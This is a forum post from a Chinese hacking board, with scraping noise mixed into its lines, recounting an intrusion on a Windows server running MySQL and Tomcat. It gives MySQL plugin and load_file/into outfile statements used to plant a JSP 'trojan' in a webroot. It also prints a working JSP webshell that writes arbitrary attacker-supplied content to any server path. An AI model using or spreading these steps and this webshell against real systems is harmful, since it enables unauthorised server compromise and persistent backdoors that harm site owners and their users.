找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2206|回复: 0
打印 上一主题 下一主题

解决Win下MySQL root导出Webshell换行符问题

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:52:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天碰到了这么个问题,简单记录一下我的解决方案。% o) p) U' I6 \# u7 _4 g4 V

7 R: d1 M2 b0 F. @$ w/ M首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php% @# a$ G# s. p' ?$ c
安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)
( W5 f9 G+ E: S+ v, t$ _4 s提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了
6 J: g1 _, F2 r9 o, n+ F1 show variables like '%plugin%';
# s8 k  r! Z# n+ c6 D6 n2 y后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功
9 j& o/ j0 ]4 S- A$ ^5 Y* N+ `创建自定义函数似乎被拦截,一直失败。: v' L7 a; M* g0 T5 u' D
后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限: `( Q+ \; z7 I7 j8 r4 [
测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp* Y7 _, x* \" R4 N4 f: O! J: _
用mysql执行语句:9 L$ n. @( m$ V! K
1 select load_file('d:\\xxx\\fuck.jsp')  into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'
9 _! E/ T. x. ?6 C5 P2 复制代码) \0 T: O  G" I7 ?+ I
后成功。$ l7 e, p9 ~6 S. a6 L
但是访问后得到如下提示:8 ?2 u0 t. i8 V+ B. I1 O/ ]0 `1 o; L
​500页面+ n, T* V6 U( d5 ]
- ~4 e0 x  p2 u
/ L; S; Q- Q2 J! I2 M
明显是MySQL的Win下版本自动添加转义符\n\r了& h. z# f# F+ k
这样导致程序运行的悲剧。
3 H: y. D$ _8 B( L# A9 M, O) m从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。
, P0 {+ r% S/ H+ r最后弄了这么个小脚本:
  Y8 b! r; k  B+ _4 S  E: K7 c- y; x: J01 <%@ page language="java" pageEncoding="gbk"%>3 K$ }* `1 P" C1 z0 \: Z1 F; j
02 <jsp:directive.page import="java.io.File"/>, L# ?, X; ]) y7 \! r! S
03 <jsp:directive.page import="java.io.OutputStream"/>
$ N' n1 S% A, Q+ e04 <jsp:directive.page import="java.io.FileOutputStream"/>  l  \+ D( L+ L- s0 J6 T
05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>0 n. n, W  o$ o/ n( |
06 error www.2cto.com4 A# g1 @8 H2 ~; C% c; Z2 r7 s6 r% O
07 <%}}if(i==0){%>. W' r  e8 p% w4 c, J1 f( _
08 ok+ K: A' k8 |3 T9 A  x$ H
09 <%}%>
' V, P7 P& J  |: i7 G5 X4 D10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">
" H& X; z( t+ Y  {& p2 I就可以避免转义符让JSP的马儿运行500错误了。
; l: T* F+ q' i4 d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表